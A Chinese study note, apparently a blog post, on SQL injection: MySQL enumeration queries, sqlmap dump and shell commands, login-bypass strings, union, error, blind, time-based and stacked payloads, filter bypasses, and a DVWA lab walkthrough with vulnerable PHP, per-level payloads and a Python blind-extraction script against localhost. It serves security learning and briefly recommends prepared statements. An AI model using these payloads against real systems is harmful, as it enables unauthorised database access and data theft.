sql注入基础学习

Catalogue
  1. 1. sql注入基础学习
    1. 1.1. sql注入定义&原理
    2. 1.2. MySQL基础
    3. 1.3. sql注入渗透流程
    4. 1.4. sql注入类型&探测
    5. 1.5. 绕过
    6. 1.6. 修复建议
    7. 1.7. DVWA SQLi
      1. 1.7.1. SQL Injection:Low
      2. 1.7.2. SQL Injection:Medium
      3. 1.7.3. SQL Injection:High
      4. 1.7.4. SQL Injection:Impossible
      5. 1.7.5. SQL Injection Blind:Low
      6. 1.7.6. SQL Injection Blind:Medium
      7. 1.7.7. SQL Injection Blind:High
      8. 1.7.8. SQL Injection Blind:Impossible

sql注入基础学习

sql注入定义&原理

Web应用程序对用户输入的合法性没有判断,参数可控,并带入数据库查询,导致攻击者可以通过构造不同的SQL语句来实现对数据库的操作

任何提交给服务器的数据都可能会被传送给数据库函数,并且可能得到不安全的处理

MySQL基础

Mysql在version 5以后,便多了一个基础库information_schema,存储的的是mysql的结构信息。除此以外,Mysql还拥有一个只有root权限才能访问的mysql库。

常用查询语句:

1
2
3
4
5
6
7
8
/*查库*/
select schema_name from information_schema.schemata;
/*查表*/
select table_name from information_schema.tables where table_schema="库名";
/*查列*/
select column_name from information_schema.columns where table_name="表名";
/*查数据*/
select 列名 from '库名.表名' limit 0,1;

sqlmap工具使用语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
sqlmap -u [url] --dbs  # 列出数据库
sqlmap -u [url] -D [db_name] --tables # 列出某库中的表名
sqlmap -u [url] -D [db_name] -T [table_name] --columns # 列出列名
sqlmap -u [url] -D [db_name] -T [table_name] -C [colunms_name] --dump # 列出数据
其他几个参数
-m filename # 可将获取的信息保存到文件
--method POST # 使用POST提交
--data "id=1&ip=2" # 提交的数据
-P id # 指定测试的参数
--cookie # 指定cookie
--sql-query=SQL语句 # 执行sql语句
--sql-shell # 获得可交互的shell
--sql-file=sql_file # 执行文件中的sql语句

MySQL中 的注释:

1
2
3
4
5
#		Hash语法
/* C-Style语法
--+ SQL语法
;%00 空字节
` 反引号

其中有个特殊情况,例如:

1
http://localhost/Less-1/?id=-1' union select 1,(/*!50095select user()*/),3--+

MySQL在注释/**/中间加个感叹号,后面跟上版本号,就可以在当前数据库版本高于或等于该指定版本的时候进行执行里面的sql指令。

sql注入渗透流程

信息收集–>数据获取–>提权:

信息收集

  • 获取注入点回显位置:

    • 列数:order/group by n–+
    • 位置:union select 1,2,3,..,n–+
  • 数据库类型&版本

    • 报错信息
    • 函数:version(),@@version
  • 数据库用户

    • 函数:user() (mysql)
    • 函数:SYSTEM_USER (SQLServer)
  • 数据库权限

    • super_priv()

数据获取

  • 获取库信息
  • 获取表信息
  • 获取列信息
  • 获取数据

提权

  • 执行命令
  • 读文件(中间件&数据库配置文件)
  • 写文件(写入webshell)

sql注入类型&探测

按注入点来分:

  1. 数字型:可控参数在sql语句是数字类型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    通过如下语句来判断是否存在SQL注入
    and 1 True
    and 0 False

    and ture Ture
    and false False

    1-false return 1 if vulnerable
    1-true return 0 if vulnerable

    使用运算符来进行判断
    1*2 return 2 if vulnerable
    1*2 return 1 if not vulnerable
  2. 字符型:可控参数在sql语句是字符类型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    通过如下语句来判断是否存在SQL注入
    ' False
    '' True

    " False
    "" True

    \ False
    \\ True
    1
    2
    可以尽量使用多个引号,可能可以绕过语法检测,例如:
    SELECT 1 FROM user_info WHERE 1 = '1'''''''''''''UNION SELECT '2';
  3. 登陆型

    1
    2
    3
    4
    5
    6
    7
    8
    /*万能密码:*/
    ' OR '1
    ' OR 1 --
    " OR "" = "
    " OR 1 = 1 --
    '='
    'LIKE'
    '=0--

按数据提交来分:

安装注入点的位置来区分的

  1. GET注入
  2. POST注入
  3. Cookie注入
  4. HTTP头注入

按执行效果来分:

  1. 联合注入:普通情况常用

    1
    UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database();
  2. 报错注入:用于存在注入没有回显,但显示报错

    1
    2
    /*XPath语法错误报错*/
    select ExtractValue(1, CONCAT(0x5c, (SELECT @@version)))
    1
    2
    /*XPath语法错误报错*/
    select updatexml(1,concat(0x7e,(select user()),0x7e),1)
    1
    2
    /*group by 对rand()函数产生报错*/
    select count(*) from information_schema.schemata group by concat((select user()),floor(rand(0)*2))
  1. 盲注:用于存在注入但是没有回显,也没有报错的场合

    1. 布尔盲注:先判断长度,再判断字符是啥

      1
      2
      /*判断长度*/
      select length(database())>6
      1
      2
      3
      /*使用left()*/
      select left(database(),2)='su'
      从左边截取前几位,进行比较,返回1则正确,0则错误
      1
      2
      /*使用regexp*/
      待更新
      1
      2
      /*使用like*/
      待更新
      1
      2
      3
      /*使用substr()和ascii()*/
      select ascii(substr((select database()),1,1))=0x73
      从左边第1个字符截取1个字符转换成ascii码格式然后进行比较
      1
      2
      3
      /*ord()与mid()*/
      select ord(mid((select database()),1,1)=0x73
      原理同上
    2. 时间盲注

      1
      2
      /*在布尔盲注的基础上使用if来判断注入是否成功*/
      select if(ord(mid((select database()),1,1)=0x73),sleep(5),null)
  2. 堆叠查询注入

    1
    2
    /*通过;来执行多条sql语句*/
    1'; select if(substr((select database()),1,1)>115),sleep(2),null%23
  3. 二次注入:数据存入数据库时进行了过滤,但取出时过滤不到位导致取出时发生sql注入

  4. 宽字节注入:数据库编码位GBK时,可用%df’来绕过给单引号加反斜杠的过滤

    因为编码问题,GBK编码可以吃掉ASCII的一个字符

绕过

  • 大小写绕过
  • 双写绕过
  • 编码绕过:进行两次url编码
  • 内联注释绕过:/*!*/

修复建议

  • 过滤危险字符
  • 使用PDO预编译语句

DVWA SQLi

SQL Injection:Low

image-20200613190732540

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>

sql语句为如下:id参数为字符类型,可控

1
SELECT first_name, last_name FROM users WHERE user_id = '$id';

payload:

1
-1' union select 1,2--

SQL Injection:Medium

image-20200613193941882

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>

sql语句为如下:id参数为数字类型,可控

1
SELECT first_name, last_name FROM users WHERE user_id = $id;

Payload:

1
id=1111 union select 1,2%23

SQL Injection:High

image-20200613200123451

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>

带入的SQL语句如下,id参数为字符类型,与上次不同的地方在于最后多了一个查询数量的限制:

1
SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;

Payload:

1
1' union select 1,(select database())--+

如果要查询多条数据可使用concat函数进行合并,或者进行多次查询

SQL Injection:Impossible

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

GET获取参数id,判断id是否时数字,如果是,PDO预编译再查询,没办法弄

SQL Injection Blind:Low

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>

GET获取参数id,带入SQL查询,查询成功与不成功回显不一样,可选择布尔盲注

SQL语句:

1
SELECT first_name, last_name FROM users WHERE user_id = '$id';

盲注Python脚本:获取数据库名称

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests


def header(cookie: str):
headers = {
'cookie': f'{cookie}',
'Host': 'localhost',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0'
}
return headers


def dblength(url, headers):
for i in range(0,100):
payload = f"1'+and+length(database())={i}--+&Submit=Submit#"
response = requests.get(url+payload, headers=headers)
if 'exists' in response.text:
return i


if __name__ == '__main__':
url = 'http://localhost/vulnerabilities/sqli_blind/?id='
cookie = 'PHPSESSID=fnt82ncr1rka6440pcij663fb1; security=low'
headers = header(cookie)
db_length = dblength(url, headers)
db_name = ''
for _ in range(0, db_length+1):
for i in range(1, 127):
payload = f"1'+and+ascii(substr((select+database()),{_},1))={i}--+&Submit=Submit#"
response = requests.get(url+payload, headers=headers)
if 'exist' in response.text:
db_name += chr(i)
print(f'database name:{db_name}')

sqlmap:

1
python .\sqlmap.py -u "http://localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=4bclqqpo197c8j99gnchr8iv90; security=low"

SQL Injection Blind:Medium

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>

参数通过post提交,通过mysql_real_escape_string()函数过滤,代入sql语句中,数字型,查询成功和失败有不同的回显

image-20200614165226665

单双引号被过滤了

SQL查询语句为数字型如下,不需要引号即可注入

1
SELECT first_name, last_name FROM users WHERE user_id = $id;

payload形如:

1
1+and+length((select+database()))>0--+

python盲注脚本:获取数据库名称:

1
这里不知道为啥,我构造的请求包和burp发送的包是一样的,但是请求结果不一样,回头再来填坑,希望有遇到过这个问题的老哥能指点一二

sqlmap:

1
python .\sqlmap.py -u http://localhost/vulnerabilities/sqli_blind/ --cookie "PHPSESSID=4bclqqpo197c8j99gnchr8iv90; security=medium" --method post --data "id=1&Submit=Submit"

SQL Injection Blind:High

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>

从cookie中获取id,这里通过一个界面来设置cookie,然后通过另外一个界面来根据cookie来显示内容,这里只要改变cookie中id参数的值,即可实现注入

python盲注脚本:

1
回头填坑

sqlmap:

1
python .\sqlmap.py -u http://localhost/vulnerabilities/sqli_blind/ --cookie "id=1; PHPSESSID=4bclqqpo197c8j99gnchr8iv90; security=high" --level 2

SQL Injection Blind:Impossible

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

先判断id是不是数字,不是就不进行查询,然后使用PDO使数据代码分开,无解